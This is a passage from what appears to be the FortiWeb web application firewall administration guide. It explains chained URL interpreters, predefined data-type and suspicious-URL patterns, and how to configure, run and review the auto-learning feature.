Because each interpreter can only extract a single parameter, you would create 3 URL interpreters, and group them into a set where they are used sequentially—a **chain**. **Each interpreter would use the interpreted output of the previous one as its input**, until all parameters had been extracted, at which point the last interpreter would output both the last parameter and the final interpreted URL. FortiWeb would then append parameters back onto the interpreted URL in the standard structure before storing them in the auto-learning data set.

Analysis of a request URL into its interpretation by a chain of URL interpreters



This configuration requires that for every request:

- the web application includes parameters in the same sequential order, **and**
- all parameters are always present



If parameter order or existence vary, this URL interpreter will not work.

Requests will **not** match the URL interpreter set if either `param2` or `param3` come first, or if any of the parameters are missing. On the opposite end of the spectrum, if the URL interpreter used regular expression capture groups such as `(.*)` to match anything in any order, i.e.:

```
/index/(.*)/(.*)/(.*)/(.*)/(.*)/(.*)/(.*)/
```

then the regular expression would be **too** flexible: auto-learning might mistakenly match and learn some of `param3`'s possible values for `param2`, and so on.

Example: URL replacer 1 for slash-separated parameters

New URL Replacer

Name	wordpress-interpreter1
Type	Predefined Custom-Defined
Application Type	JSP
URL Path	/index/param1/(.*)/param2/(.*)/param3/ >>
New URL	/index/param1/\$0/param2/\$1/
Param Change	\$2
New Param	param3

OK Cancel

Name	slash-parameter3
Type (page 205)	Custom-Defined
URL Path (page 205)	/index/param1/(.*)/param2/(.*)/param3/(.*)/
New URL (page 206)	/index/param1/\$0/param2/\$1/
Param Change (page 206)	\$2
New Param (page 206)	param3

Example: URL replacer 2 for slash-separated parameters

New URL Replacer

Name	wordpress-interpreter2
Type	Predefined Custom-Defined
Application Type	JSP
URL Path	/index/param1/(.*)/param2/(.*)/ >>
New URL	/index/param1/\$0/
Param Change	\$1
New Param	param2

OK Cancel

Name	slash-parameter2
Type (page 205)	Custom-Defined
URL Path (page 205)	/index/param1/(.*)/param2/(.*)/
New URL (page 206)	/index/param1/\$0/
Param Change (page 206)	\$1
New Param (page 206)	param2

Example: URL replacer 3 for slash-separated parameters

New URL Replacer

Name

wordpress-interpreter3

Type

Predefined

Custom-Defined

Application Type

JSP ▼

URL Path

/index/param1/(.*)/ >>

New URL

/index

Param Change

\$0

New Param

param1

OK

Cancel

Name	slash-parameter1
Type (page 205)	Custom-Defined
URL Path (page 205)	/index/param1/(.*)/
New URL (page 206)	/index
Param Change (page 206)	\$0
New Param (page 206)	param1

Until you add the URL interpreters to a group, FortiWeb doesn't know the sequential order.



These URL interpreters will not function correctly if they are not used in that order, because each interpreter's input is the output from the previous one. So you **must** set the priorities correctly when referencing each of those interpreters in the set of URL interpreters. For details, see ["Grouping URL interpreters"](#) on page 215.

Edit Application Policy

Name

	ID	Type	Plugin Name
☐	1	URL REPLACER	wordpress-interpreter1
☐	2	URL REPLACER	wordpress-interpreter2
☐	3	URL REPLACER	wordpress-interpreter3

Example: URL replacer group for slash-separated parameters—entry 1

Priority	0
Type	URL REPLACER
Plugin Name	slash-parameter3

Example: URL replacer group for slash-separated parameters—entry 2

Priority	1
Type	URL REPLACER
Plugin Name	slash-parameter2

Example: URL replacer group for slash-separated parameters—entry 3

Priority	2
Type	URL REPLACER
Plugin Name	slash-parameter1

Then the URL will be interpreted by auto-learning as if the application used a more conventional and easily understood URL/parameter structure:

```
/index?param1=value1&param2=value2&param3=value3
```

See also

- ["Grouping URL interpreters"](#) on page 215
- ["Configuring an auto-learning profile"](#) on page 225
- ["Regular expression syntax"](#) on page 829

- ["Example: URL interpreter for a JSP application"](#) on page 206
- ["Example: URL interpreter for Microsoft Outlook Web App 2007"](#) on page 207

Grouping URL interpreters

In order to use URL interpreters with an auto-learning profile, you must group URL replacers into sets.

Sets can be:

- mutually exclusive, where the set contains expressions for all possible URL structures, but only one of the URL replacers will match a given request's URL
- sequential, where the set contains expressions to interpret multiple parameters in a single given URL; each interpreter's URL input is the URL output of the previous interpreter, and they each parse the URL until all parameters have been extracted; sequential order of interpreters is determined by the URL interpreter's **Priority** in the set

To create a custom application policy

1. Before you create an application policy, first create the URL replacers that it will include. For details, see ["Configuring URL interpreters"](#) on page 204.

2. Go to **Auto Learn > Application Templates** and select **Application Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Autolearn Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.
4. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
5. Click **OK**.
6. Click **Create New**.
7. From **Plugin Name**, select an existing URL replacer from the drop-down list.



Rule order affects URL replacer matching and behavior. FortiWeb appliances evaluate URLs for a matching URL replacer starting with the smallest ID number (greatest priority) rule in the list, and continue towards the largest number in the list.

- **If no rule matches**, parameters in the URL will not be interpreted.
- **If multiple rules match**, the output (**New URL** (page 206)) from earlier URL replacers will be used as the input (**URL Path** (page 205)) for the next URL replacer, resulting in a chain of multiple interpreted parameters.

8. Click **OK**.
9. Repeat the previous steps for each URL replacer you want added to the policy.
10. Select the application policy in an auto-learning profile. For details, see ["Configuring an auto-learning profile"](#) on page 225.
11. Select the auto-learning profiles in server policies. For details, see ["Configuring a server policy"](#) on page 277.

See also

- ["Configuring URL interpreters"](#) on page 204
- ["Example: URL interpreter for Microsoft Outlook Web App 2007"](#) on page 207
- ["Example: URL interpreter for WordPress"](#) on page 210
- ["Configuring an auto-learning profile"](#) on page 225

Recognizing data types

FortiWeb appliances recognize the data types of parameters by matching them with regular expressions. These regular expressions are categorized as either:

- **Predefined**—A regular expression set included with the firmware. These match common data types. **Cannot** be modified except via FortiGuard, but can be copied and used as the basis for a custom data type. Can be used by both auto-learning profiles and input rules.
- **Custom**—A regular expression that you have configured to detect any data patterns that cannot be recognized by the predefined set. Can be modified. Can be used by input rules, but **cannot** be used by auto-learning profiles.

See also

- ["Connecting to FortiGuard services"](#) on page 187
- ["How often does Fortinet provide FortiGuard updates for FortiWeb?"](#) on page 193

Predefined data types

When you install FortiWeb, it already has some data type regular expressions that are predefined—default signatures for common data types so that you do not need to write them yourself. Initial ones are included with the FortiWeb firmware. If your FortiWeb is connected to FortiGuard Security Service updates, it can periodically download updates to its predefined data types. This will provide new and enhanced data types without any effort on your part. Simply use the new signatures in parts of the configuration where they are useful to you.

Predefined data type patterns cannot be used directly. Instead, they must be grouped before they can be used in other areas of the configuration. For details, see ["Grouping predefined data types"](#) on page 220.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

Go to **Auto Learn > Predefined Pattern > Data Type**:

Pattern	The regular expression used to detect the presence of the data type. Parameter values must match the regular expression in order for an auto-learning profile to successfully detect the data type, or for an input rule to allow the input.
Description	A description of what the data type is. It may include examples of values that match the regular expression.
	Select the blue arrow beside a pattern to expand the entry and display the individual rules contained in the entry.
	Displays the name of the data type.

Name

- **Address**—Canadian postal codes and United States ZIP code and ZIP + 4 codes.
- **Canadian Postal Code**—Canadian postal codes such as K2H 7B8 or k2h7b8. Does **not** match hyphenations such as K2H-7B8.
- **Canadian Province Name and Abbrev.**—Modern and older names and abbreviations of Canadian provinces in English, as well as some abbreviations in French, such as Quebec, PEI, Sask, and Nunavut. Does **not** detect province names in French, such as Québec.
- **Canadian Social Insurance Number**—Canadian Social Insurance Numbers (SIN) such as 123-456-789.
- **Chinese Postal Code**—Chinese postal codes such as 610000.
- **Country Name and Abbrev.**—Country names, codes, and abbreviations as they are known in English, such as CA, Cote d'Ivoire, Brazil, Russian Federation, and Brunei.
- **Credit Card Number**—American Express, Carte Blanche, Diners Club, enRoute, Japan Credit Bureau (JCB), Master Card, Novus, and Visa credit card numbers.
- **Date/Time**—Dates and times in various formats such as +13:45 for time zone offsets, 1:01 AM, 1am, 23:01:01, and 01.01.30 AM for times, and 31.01.2009, 31/01/2009, 01/31/2000, 2009-01-3, 31-01-2009, 1-31-2009, 01 Jan 2009, 01 JAN 2009, 20-Jan-2009 and February 29, 2009 for dates.
- **Denmark Postal Code**—Danish postal code ("postnumre") such as DK-1499 and dk-1000. Does not match codes that are not prefixed by "DK", nor numbers that do not belong to the range of valid codes, such as 123456 or dk 12.
- **Email**—Email addresses such as admin@example.com
- **GPA**—A student's grade point average, such as 3.5, based upon the 0.0-to-4.0 point system, where an "A" is worth 4 points and an "F" is worth 0 points. Does **not** match GPAs weighted on the 5 point scale for honors, IB, or AP courses, such as 4.1. The exception is 5.5, which it will match.
- **GUID**—A globally unique identifier used to identify partition types in the hard disk's master boot record (MBR), such as BFDB4D31-3E35-4DAB-AFCA-5E6E5C8F61EA. Partition types are relevant on computers which boot via EFI, using the MBR, instead of an older-style BIOS.
- **Indian Vehicle Number**—An Indian Vehicle Registration Number, such as mh 12 bj 1780.
- **IP Address**—A public or private IPv4 address, such as 10.0.0.1. Does **not** match IPv6 addresses.
- **Italian Mobile Phone**—Italian mobile phone numbers with the prefix for international calls, such as +393471234567, or without, such as 3381234567. Does **not** match numbers with a dash or space after the area code, nor VoIP or land lines.

- **Kuwait Civil ID**—Personal identification number for Kuwait, such as 273032401586. Must begin with 1, 2, or 3, and follow all other number patterns for valid civil IDs.
- **Level 1 Password**—A string of at least 6 characters, with one or more each of lower-case characters, upper-case characters, and digits, such as aBc123. Level 1 passwords are “weak” passwords, generally easier to crack than level 2 passwords.
- **Level 2 Password**—A string of at least 8 characters, with one or more each of lower-case characters, upper-case characters, digits, and special characters, such as aBc123\$%. Level 2 passwords are moderately strong.
- **Markup/Code**—HTML comments, wiki code, hexadecimal HTML color codes, quoted strings in VBScript and ANSI SQL, SQL statements, and RTF bookmarks such as:
 - #00ccff, <!--A comment.-->
 - [link url="http://example.com/url?var=A&var2=B"]
 - SELECT * FROM TABLE
 - {*\bkmkstart TagAmountText}
 Does **not** match ANSI escape codes. They are detected as strings.
- **Microsoft Product Key**—An alphanumeric key for activation of Microsoft software, such as ABC12-34DEF-GH567-IJK89-LM0NP. Does **not** match keys which are non-hyphenated, nor where letters are not capitalized.
- **Netherlands Postal Code**—Netherlands postal codes (“postcodes”) such as 3000 AA or 3000AA. Does **not** match postal codes written in lower-case letters, such as 3000aa.
- **NINO**—A United Kingdom National Insurance Number (NINO), such as AB123456D. Does **not** match NINOs written in lower-case letters, such as ab123456d.
- **Numbers**—Numbers in various monetary, scientific, decimal, comma-separated value (CSV), and other formats such as 123, +1.23, \$1,234,567.89, 1'235.140, and -123.45e-6. Does **not** detect some types, such as hexadecimal numbers (which are instead detected as strings or code), and US Social Security Numbers (which are instead detected as strings).
- **Personal Name**—A person’s full or abbreviated name in English. It can contain punctuation, such as A.J Schwartz, Jean-Pierre Ferko, or Jane O'Donnell. Does **not** match names written in other languages, such as Renée Wächter or 林美
- **Phone**—Australian, United States, and Indian telephone numbers in various formats such as (123)456-7890, 1.123.456.7890, 0732105432, and +919847444225.
- **Quebec Postal Code**—Postal codes written in the style sometimes used by Quebecers, with hyphens between the two parts, such as h2j-3c4 or H2J-3C4.
- **Strings**—Any string of characters, including all other data types, such as

alphanumeric words, credit card numbers, United States social security numbers (SSN), UK vehicle registration numbers, ANSI escape codes, and hexadecimal numbers in formats such as user1, 123-45-6789, ABC 123 A, 4125632152365, [32mHello, and 8ECCA04F.

- **Swedish Personal Number**—Personal identification number (“personnummer”) for Sweden, such as 19811116-7845. Must be hyphenated. Does **not** match PINs for persons whose age is 100 or greater.
- **Swedish Postal Code**—Postal codes (“postnummer”) for Sweden, with or without spaces or hyphens, such as S 751 70, s75170, or S-751-70. Requires the initial S or s letter. Does not match invalid postal codes such as ones that begin with a 0, or ones that do not begin with the letter S or s.
- **UAE Land Phone**—Telephone number for the United Arab Emirates, such as 04 - 3452499 or 04 3452499. Does **not** match phone numbers beginning with 01 or 08.
- **UK Bank Sort Code**—Bank sort codes for the United Kingdom, such as 09-01-29. Must be hyphenated.
- **Unix Device Name**—Standard Linux or UNIX non-loopback wired Ethernet network interface names, such as eth0. Does **not** match names for any other type of device, such as lo, hdda, or ppp.

- **URI**—Uniform resource identifiers (URI) such as:
http://www.example.com
ftp://ftp.example.com
mailto:admin@example.com
- **US Social Security Number**—United States Social Security Numbers (SSN) such as 123-45-6789.
- **US State Name and Abbrev.**—United States state names and modern postal abbreviations such as HI and Wyoming. Does **not** detect older postal abbreviations ending with periods (.), such as Fl. or Wyo.
- **US Street Address**—United States city and street address, possibly including an apartment or suite number. City and street may be either separated with a space or written on two lines according to US postal conventions, such as:
123 Main Street Suite #101
Honolulu, HI 10001
Does **not** match:
 - ZIP + 4 codes that include spaces, or do not have a hyphen (e.g. “10001 - 1111” or “10001 1111”)
 - city abbreviations of 2 characters (e.g. “NY” instead of “NYC”)
 - Washington D.C. addresses
- **US ZIP Code**—United States ZIP code and ZIP + 4 codes such as 34285-3210.
- **Windows File Name**—A valid windows file name, such as Untitled.txt. Does not match file extensions, or file names without their extensions.

See also

- ["Predefined suspicious request URLs"](#) on page 221
- ["Configuring an auto-learning profile"](#) on page 225
- ["Recognizing data types"](#) on page 216
- ["Connecting to FortiGuard services"](#) on page 187
- ["How often does Fortinet provide FortiGuard updates for FortiWeb?"](#) on page 193

Grouping predefined data types

A data type group defines a set of predefined data types that can be used in an auto-learning profile.

For example, if you include the **Email** data type in the data type group, auto-learning profiles that use the data type group might discover that your web applications use a parameter named `username` whose value is an email address.

The predefined data type group, named **predefine-data-type-group**, cannot be edited or deleted.

To configure a predefined data type group

1. Go to **Auto Learn > Predefined Pattern > Data Type**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.

A dialog appears.

3. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
4. In **Type**, mark the check box of each predefined data type that you want to include in the set, such as **Email** or **Canadian Social Insurance Number**.



If you know that your network's HTTP sessions do not include a specific data type, omit it from the data type group to improve performance. The FortiWeb appliance will not expend resources scanning traffic for that data type.

To examine the regular expressions for each data type, see ["Predefined data types"](#) on page 216.

5. Click **OK**.
6. To use a data type group, select it when configuring either an auto-learning profile (see ["Configuring an auto-learning profile"](#) on page 225) or input rule (see ["Validating parameters \("input rules"\)"](#) on page 553).

See also

- ["Predefined data types"](#) on page 216
- ["Configuring an auto-learning profile"](#) on page 225
- ["Validating parameters \("input rules"\)"](#) on page 553
- ["Recognizing data types"](#) on page 216

Recognizing suspicious requests

FortiWeb appliances can recognize known attacks by comparing each request to a signature. How, then, does it recognize requests that aren't known to be an attack, or aren't **always** an attack, but **might** be?

FortiWeb uses several methods for this:

- HTTP protocol constraints (see "[HTTP/HTTPS protocol constraints](#)" on page 568)
- Application parameter sanitizers & constraints (see "[Preventing zero-day attacks](#)" on page 553)
- Exploit signatures (see "[Blocking known attacks & data leaks](#)" on page 505)
- DoS/DDoS sensors (see "[DoS prevention](#)" on page 604)
- Access control lists (see "[Access control](#)" on page 475)

Web applications' administrative URLs often should **not** be accessible by clients on the Internet, and therefore any request for those URLs from source IP addresses on the Internet may represent an attempt to scout your web servers in advance of an attack. Exceptions include hosting providers, whose clients may span the globe and often configure their own web applications. Administrative requests from the Internet are therefore suspicious: the host may have been compromised by a rootkit, or its administrative login credentials may have been stolen via spyware, phishing, or social engineering.

FortiWeb appliances can compare each request URL with regular expressions that define known administrative URLs, and log and/or block these requests.

Regular expressions for suspicious requests by URL are categorized as:

Predefined—Regular expressions included with the firmware. These match common administrative URLs, and URLs for back-end data such as caches. **Cannot** be modified except via FortiGuard updates, but can be copied and used as the basis for a custom definitions of sensitive URLs.

Custom—A regular expression that you have configured to detect any suspicious access attempts by URL that cannot be recognized by the predefined set. Can be modified.

Both types can be grouped into a set that can be used in auto-learning profiles.

See also

- "[How often does Fortinet provide FortiGuard updates for FortiWeb?](#)" on page 193

Predefined suspicious request URLs

Predefined regular expressions can be used by auto-learning to detect requests that are suspicious because they are for a URL that provides administrative access to the web server, servlet, or web application, such as:

```
/admin.php  
/conf/Catalina/localhost/admin.xml
```

or access to its back-end cache, data files, or Berkeley databases, such as:

```
/local/notesdata
```

Normally, requests for these URLs should only originate from a trusted network such as your management computers, **not** from the Internet. (Exceptions include hosting providers, whose clients around the globe configure their own web applications.) Therefore these requests are a good candidate for URL access control rules.

Many signatures exist for popular web servers and applications such as Apache, nginx IIS, Tomcat, and Subversion. Known suspicious request URLs can be updated. For details, see ["Connecting to FortiGuard services"](#) on page 187.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

Auto Learn > Predefined Pattern > URL Pattern

Name	Pattern	Description
+ IIS		
+ Apache		
+ Tomcat		
	^/conf/Catalina/localhost/admin\.xml\$	Check suspicious url files for Tomcat Server
	^/(?:admin server/webapps/admin manager)/[:8080/jmx-console	Check suspicious url items for Tomcat Server
+ WebLogic		
+ JBoss		
+ Jetty		
+ ColdFusion		
+ Zend Server		
+ Abyss		
+ nginx		
+ Squid		

Name	The name of the predefined suspicious URL pattern set. To display the patterns it contains, click the blue arrow next to the name.
Pattern	When you click a blue arrow to expand a suspicious URL pattern, this column displays the regular expression used to detect the presence of the suspicious URL in a client's request.
Description	When you click a blue arrow to expand a data type, this column displays a description of the URLs matched by this pattern, such as Apache web server administrative web UI files or IBM Lotus Domino data.

See also

- ["Grouping all suspicious request URLs"](#) on page 224
- ["Recognizing suspicious requests"](#) on page 221
- ["How often does Fortinet provide FortiGuard updates for FortiWeb?"](#) on page 193

Configuring custom suspicious request URLs

To augment FortiWeb's predefined list of suspicious request URLs, you can configure your own.

To create a custom suspicious request URL pattern

1. Go to **Auto Learn > Custom Pattern > Suspicious URL** and select **Suspicious URL Rule** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.
3. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
4. In **URL Expression**, enter a regular expression that defines this suspicious URL, such as `^/my_admin_panel.jsp`.

To test the regular expression against sample text, click the **>>** (test) icon. This opens the **Regular Expression Validator** window where you can fine-tune the expression. For details, see ["Regular expression syntax"](#) on page 829 and ["Cookbook regular expressions"](#) on page 836.
5. Click **OK**.
6. Group custom suspicious URL patterns. For details, see ["Grouping custom suspicious request URLs"](#) on page 223.
7. Group custom and predefined suspicious URL groups together. For details, see ["Grouping all suspicious request URLs"](#) on page 224.
8. Select the supergroup when configuring an auto-learning profile. For details, see ["Configuring an auto-learning profile"](#) on page 225.

See also

- ["Grouping custom suspicious request URLs"](#) on page 223
- ["Recognizing suspicious requests"](#) on page 221

Grouping custom suspicious request URLs

Before you can use them, you must first group custom and predefined suspicious URLs.

To configure a custom suspicious URL policy

1. Before you can create a custom suspicious URL rule, you must first define one or more custom suspicious URLs. For details, see ["Configuring custom suspicious request URLs"](#) on page 222.
2. Go to **Auto Learn > Custom Pattern > Suspicious URL** and select **Suspicious URL Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.
3. Click **Create New**.
4. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
5. Click **OK**.
6. Click **Create New** to add an entry to the set.
7. From **Suspicious URL Name**, select the name of a custom suspicious URL rule.
8. Click **OK**.

9. Repeat the previous steps for each custom suspicious URL rule you want added to the policy.
10. Group custom and predefined suspicious URL groups together. For details, see ["Grouping all suspicious request URLs"](#) on page 224.
11. Select the supergroup when configuring an auto-learning profile. For details, see ["Configuring an auto-learning profile"](#) on page 225.

See also

- ["Configuring custom suspicious request URLs"](#) on page 222
- ["Grouping all suspicious request URLs"](#) on page 224
- ["Recognizing suspicious requests"](#) on page 221

Grouping all suspicious request URLs

Auto Learn > Predefined Pattern > Suspicious URL groups both custom and predefined suspicious URLs together so that they can be selected in an auto-learning profile.

To configure a suspicious URL pattern group

1. Before grouping all suspicious URL patterns, you must first group any custom suspicious URL groups that you want to include. For details, see ["Grouping custom suspicious request URLs"](#) on page 223.

2. Go to **Auto Learn > Predefined Pattern > Suspicious URL**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

Alternatively, to clone an existing pattern as the basis for a new group, mark the check box next to it, then click the **Clone** icon.

4. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
5. In **Server Type**, enable one or more of the predefined, web server-specific suspicious URL sets that you want to detect.

To view detailed descriptions of the types of patterns that each suspicious URL type will detect. For details, see ["Predefined suspicious request URLs"](#) on page 221.



If you know that your network does not rely on one or more of the listed web server types, disable scans for suspicious access to their administrative URLs in order to improve performance.

6. From the **Custom Suspicious Policy** drop-down list, select a group of custom suspicious URLs, that you have configured, if any.
7. Click **OK**.
8. To use a suspicious URL pattern, select it when configuring an auto-learning profile. For details, see ["Configuring an auto-learning profile"](#) on page 225.

See also

- ["Predefined suspicious request URLs"](#) on page 221
- ["Grouping custom suspicious request URLs"](#) on page 223
- ["Configuring an auto-learning profile"](#) on page 225
- ["Recognizing suspicious requests"](#) on page 221

Configuring an auto-learning profile

Auto-learning profiles are selected in a server policy in conjunction with an inline or Offline Protection profile. Auto-learning profiles gather data for the auto-learning report from any attacks and parameters that FortiWeb detects.

You cannot edit or delete **Default Auto Learn Profile**, the predefined auto-learning profile. If you do not want to configure your own auto-learning profile, or are not sure how to, you can use this profile. Alternatively, use it as a starting point by cloning it and then modifying the clone.

Default Auto Learn Profile assumes that you want to learn about all parameters, and allow web crawlers from the search engines Google, Yahoo!, Baidu, and MSN/Bing.

Default Auto Learn Profile uses a predefined data type group, a predefined suspicious URL pattern, and other settings that populate an auto-learning report with a complete data set. It does not use attack signatures that could cause false positives.

To configure an auto-learning profile



You can also use an auto-learning report to generate a new auto-learning profile based on existing data. For details, see ["Generating a profile from auto-learning data"](#) on page 242.

1. Before you create an auto-learning profile, configure the following components:

- A data type group (see ["Grouping predefined data types"](#) on page 220)
- Suspicious request URLs (see ["Grouping all suspicious request URLs"](#) on page 224)
- If required, URL interpreters (see ["Grouping URL interpreters"](#) on page 215)

2. Go to **Auto Learn > Auto Learn Profile**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Autolearn Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

4. Configure these settings:

Name	Type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Data Type Group	Select the name of a data type group to use, if any. Auto-learning learns about the names, length, and required presence

	of these types of parameters in HTTP requests. For details, see "Grouping predefined data types" on page 220.
Suspicious URL	Select the name of a suspicious URL pattern to use, if any. Auto-learning considers HTTP requests for these URLs as either malicious vulnerability scanning, data harvesting, or administrative login attacks. For details, see "Grouping all suspicious request URLs" on page 224.
Server Protection Threshold	Enter the number of detected attacks to match or exceed. When the number of attacks meets or exceeds this threshold, FortiWeb interprets the attacks as a false positive and the protection profile that the auto-learning feature generates disables scanning for this attack signature for the entire website.
Server Protection Exception Threshold	Enter a percentage of detected attacks directed at a specific URL relative to the total number of attacks for the entire website. When the percentage of attacks for a URL meets or exceeds this threshold, and the number of detected attacks for the corresponding attack signature does not exceed the Server Protection Threshold value, the protection profile that the auto-learning feature generates includes an exception that disables scanning for the attack signature for the URL. FortiWeb still uses the signature to scan URLs that do not receive attack traffic that exceeds this threshold. For example, if an average of 50% of all requests to the website match an attack signature, are destined for a specific URL, and are actually harmless, you can adjust this setting to 50.
Application Policy	Select a URL interpreter set to use, if any. If the web application embeds parameters in the URL or uses non-standard parameter separators, include an auto-learning adaptor to define how auto-learning should find parameters in the URL. For details, see "How to adapt auto-learning to dynamic URLs & unusual parameters" on page 202.

5. Click **OK**.

6. In a server policy, select the auto-learning profile **with** its protection profile in [Web Protection Profile](#) (page 287) and [Auto Learn Profile](#) (page 288). If you do not want to change all **Action** settings to **Alert** in each of the protection profile's components, also enable **Monitor Mode** (page 288).



Auto-learning is resource-intensive, and can decrease performance. If performance becomes unacceptable, consider selecting the auto-learning profile in only a few policies at a time.

Alternatively or in addition, briefly run a first phase of auto-learning, then disable

features which are obviously unnecessary according to auto-learning data, and begin a second, more lightweight phase of auto-learning.

7. To ensure that the appliance can learn about HTTP/HTTPS requests' usual page order and other session-related attacks and features, enable the **Session Management** (page 262) option in the protection profile.
8. Continue with "Running auto-learning" on page 227.

See also

- "How operation mode affects server policy behavior" on page 257
- "Viewing auto-learning reports" on page 229

Running auto-learning

After you have configured and applied auto-learning profiles, you can use them to collect data for an auto-learning report, and to suggest a configuration.

For faster results, from an external IP, connect to the website and access all URLs that a legitimate client would. Provide valid parameters. This activity populates auto-learning data with an initial, realistic set.

To improve performance during auto-learning, run it in a few phases.

For example, after an initial short phase of auto-learning, generate a protection profile with the most obvious attack settings. Then delete the auto-learning data, revise the protection profile to omit auto-learning for the settings that you have already discovered, and start the next phase of auto-learning.

Alternatively, you can run auto-learning on only a few policies at a time.

To form configuration suggestions using auto-learning

1. Enable the server policy where you have selected the auto-learning policy for **Auto Learn Profile** (page 288).
2. Route traffic to or through the FortiWeb appliance, depending on your operation mode.



For best results, do not use incomplete or unrealistic traffic.

To minimize performance impacts, consider running an initial phase of auto-learning while your FortiWeb is operating in Offline Protection mode before you transition to your final choice of operation mode.

3. Wait for the FortiWeb appliance to gather data.

To quickly reduce risk of attack while auto-learning is in progress, in the protection profile and its components, for attacks and disclosures that you are sure **cannot** be false positives, set the **Action** to **Alert & Deny** or **Alert & Erase**.

Time required varies by the rate of legitimate hits for each URL, the parameters that are included with each hit, and the percentage of hits that are attack attempts detected by attack signatures. You can gauge traffic volumes and hits using the **Policy Summary** widget. For details, see "HTTP Throughput Monitor widget" on page 683.

You can pause auto-learning's data gathering if necessary. For details, see "Pausing auto-learning for a URL" on page 228.

4. Gauge progress by periodically reviewing the auto-learning report, which FortiWeb keeps up-to-date during auto-learning. For details, see ["Viewing auto-learning reports"](#) on page 229 and ["Generating a profile from auto-learning data"](#) on page 242. If parameters are missing, auto-learning is not complete.



Auto-learning considers URLs up to approximately 128 characters long (assuming single-byte character encoding, after FortiWeb has decoded any nested hexadecimal or other URL encoding—therefore, the limit is somewhat dynamic). If the URL is longer than that buffer size, auto-learning cannot learn it, and therefore ignores it. No event log is generated.

In those cases, you must manually configure FortiWeb protection settings for the URL, rather than discovering recommended protection settings via auto-learning. However, you may be able to re-use the settings recommended for other, shorter URLs by auto-learning.

For example, if auto-learning discovers an email address parameter, it probably should have the same input constraints regardless of which URL uses it.

5. If there is an unusual number of attacks, there are false positives, or if some auto-learning data is incorrect, you can do one of the following:
 - Fine-tune the auto-learning profile, delete the old auto-learning data, then return to the previous step. For details, see ["Removing old auto-learning data"](#) on page 246.
 - Fine-tune the parameters in the auto-learning report before generating protection profiles. For details, see the [Overview tab](#) (page 232), [Attacks tab](#) (page 233), [Visits tab](#) (page 236), and [Parameters tab](#) (page 241).
 - After the next step, adjust settings in the generated protection profiles.
6. Continue with ["Generating a profile from auto-learning data"](#) on page 242.

Pausing auto-learning for a URL

Dynamic URLs that you have **not** configured to be interpreted by a URL replacer cause:

- Reduced performance
- A tree that contains many URLs that are actually forms of the same URL
- Auto-learning data that is split among each observed permutation of the dynamic URL

To solve these problems, stop auto-learning for those URLs. To do so, right-click them in the auto-learning report and select **Stop Learning** (page 230), then configure a URL replacer. For details, see ["How to adapt auto-learning to dynamic URLs & unusual parameters"](#) on page 202.

If you decide later that the URLs were not, in fact, dynamic, you can resume auto-learning: right-click the URL in the auto-learning report, then select **Start Learning**. Otherwise, for dynamic URLs, you can delete split auto-learning data. For details, see ["Removing old auto-learning data"](#) on page 246.

See also

- ["Viewing auto-learning reports"](#) on page 229
- ["How to adapt auto-learning to dynamic URLs & unusual parameters"](#) on page 202
- ["Removing old auto-learning data"](#) on page 246

Viewing auto-learning reports

Auto Learn > Auto Learn Report displays the list of reports that the FortiWeb appliance has automatically generated from information gathered by auto-learning profiles.

Primarily, you use auto-learning reports to determine whether or not the auto-learning feature has collected sufficient data to end the auto-learning phase of your installation, and transition to purely applying your security policies. For details, see ["Generating a profile from auto-learning data"](#) on page 242.

Reports from auto-learning profile data can also provide information about your web servers' traffic. For information on normal network traffic, you can also use the data analytics feature. For details, see ["Viewing website statistics"](#) on page 731.

Whitelisted items are **not** included in auto-learning reports. For details, see ["Configuring the global object white list"](#) on page 258.



Sometimes, such as when you change the web applications that are installed on your web servers, you may want to run additional phases of auto-learning.

To create a fresh auto-learning report, new protection profiles, or both, you can reset the auto-learning report and delete its data. For details, see ["Removing old auto-learning data"](#) on page 246.

To view a report generated from auto-learning data

1. Go to **Auto Learn > Auto Learn Report**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Autolearn Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Mark the check box for the report you want to see.

3. Click **View**.

The report appears, with two panes:

- The left-hand pane enables you to navigate through the websites and URLs that are the subjects of the report.
- The right-hand pane includes tabs that display the report data.

If a report contains multiple pages of results, click the arrows at the bottom of the page to move forward or backwards through the pages of results.



To view auto-learning reports, the Adobe Flash Player browser plug-in is required.


See also

- ["Removing old auto-learning data"](#) on page 246
- ["Using the report navigation pane"](#) on page 230
- ["Using the report display pane"](#) on page 231
- ["Configuring an auto-learning profile"](#) on page 225
- ["Generating a profile from auto-learning data"](#) on page 242

Using the report navigation pane

To view report data, click the (+) expand icon next to items in the navigation tree and click items to see applicable information. Different tree levels provide different report data.

Parts of the report navigation pane



If URL rewriting is configured, the tree's URL is the one requested by the client, **not** the one to which it was rewritten before passing on. If the tree contains many URLs that are actually forms of the same URL, or includes sessions IDs, such as:

